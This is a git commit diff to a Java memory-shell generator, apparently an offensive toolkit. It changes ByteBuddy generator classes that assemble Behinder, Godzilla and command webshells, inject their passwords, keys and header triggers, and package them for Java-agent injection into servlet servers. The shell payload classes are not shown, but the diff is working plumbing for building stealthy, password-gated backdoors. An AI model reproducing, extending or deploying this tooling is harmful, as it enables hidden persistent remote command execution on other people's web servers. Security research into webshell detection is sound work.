feat: use ldc and reflection (#26)

1. remove servlet-api dependency
2. remove class reference (resolved #26), but it doesn't work for java4
This commit is contained in:
ReaJason
2025-01-07 10:02:51 +08:00
parent 5340de9b71
commit b5031012ba
10 changed files with 156 additions and 123 deletions
@@ -1,42 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class AgentGenerator {
private final ShellConfig config;
private final InjectorConfig injectorConfig;
public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) {
this.config = config;
this.injectorConfig = injectorConfig;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (config.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
@@ -1,15 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import java.util.Map;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
@@ -37,10 +41,7 @@ public class BehinderGenerator {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(behinderConfig.getShellClass())
.name(behinderConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("pass")).value(md5Key)
.field(named("headerName")).value(behinderConfig.getHeaderName())
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -49,6 +50,20 @@ public class BehinderGenerator {
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"pass", md5Key,
"headerName", behinderConfig.getHeaderName(),
"headerValue", behinderConfig.getHeaderValue()
))
);
} else {
builder = builder.field(named("pass")).value(md5Key)
.field(named("headerName")).value(behinderConfig.getHeaderName())
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
}
return builder;
}
@@ -1,13 +1,17 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import java.util.Map;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
@@ -24,8 +28,7 @@ public class CommandGenerator {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getShellClass())
.name(shellConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.field(named("paramName")).value(shellConfig.getParamName());
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()));
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -35,6 +38,12 @@ public class CommandGenerator {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (config.getShellType().startsWith(Constants.AGENT)) {
builder = builder.visit(new LdcReAssignVisitorWrapper(Map.of("paramName", shellConfig.getParamName())));
} else {
builder = builder.field(named("paramName")).value(shellConfig.getParamName());
}
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
@@ -1,8 +1,10 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
@@ -10,6 +12,8 @@ import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import java.util.Map;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
@@ -38,12 +42,7 @@ public class GodzillaGenerator {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(godzillaConfig.getShellClass())
.name(godzillaConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("pass")).value(godzillaConfig.getPass())
.field(named("key")).value(md5Key)
.field(named("md5")).value(md5)
.field(named("headerName")).value(godzillaConfig.getHeaderName())
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -52,6 +51,24 @@ public class GodzillaGenerator {
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(Map.of(
"pass", godzillaConfig.getPass(),
"key", md5Key,
"md5", md5,
"headerName", godzillaConfig.getHeaderName(),
"headerValue", godzillaConfig.getHeaderValue()
))
);
} else {
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
.field(named("key")).value(md5Key)
.field(named("md5")).value(md5)
.field(named("headerName")).value(godzillaConfig.getHeaderName())
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
}
return builder;
}
@@ -44,12 +44,6 @@ public class AgentJarPacker implements JarPacker {
try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) {
addDependency(targetJar, ByteBuddy.class);
if (generateResult.getShellConfig().isJakarta()) {
addDependency(targetJar, jakarta.servlet.Servlet.class);
} else {
addDependency(targetJar, javax.servlet.Servlet.class);
}
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
targetJar.write(generateResult.getInjectorBytes());
targetJar.closeEntry();